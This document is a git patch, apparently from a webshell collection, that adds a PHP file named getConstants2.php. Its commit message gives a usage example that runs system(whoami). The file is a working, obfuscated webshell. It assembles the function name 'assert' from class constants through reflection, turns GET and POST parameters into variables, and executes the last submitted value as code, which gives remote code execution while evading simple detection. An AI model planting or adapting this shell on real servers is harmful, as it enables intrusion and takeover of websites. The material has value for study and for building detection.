From a6546d03ee7b31a0da41542f8be404806a79ce1d Mon Sep 17 00:00:00 2001 From: tennc <670357+tennc@users.noreply.github.com> Date: Mon, 28 Dec 2020 22:15:54 +0800 Subject: [PATCH] Create getConstants2.php use: xxx/webshell/1?<>=system(whoami) from : https://xz.aliyun.com/t/8684 --- php/getConstants2.php | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 php/getConstants2.php diff --git a/php/getConstants2.php b/php/getConstants2.php new file mode 100644 index 0000000..21b9443 --- /dev/null +++ b/php/getConstants2.php @@ -0,0 +1,24 @@ +'aS',2=>'se',3=>'rT'); + + public function __construct() + { + } +} + +$refl = new ReflectionClass('Test'); + +foreach ($refl->getConstants() as $key => $value) { + foreach ($value as $key => $value1) { + $value2.=$value1; + } +} +foreach (array('_POST','_GET') as $_request) { + foreach ($$_request as $_key=>$_value) { + $$_key= $_value; + } +} +$value2($_value);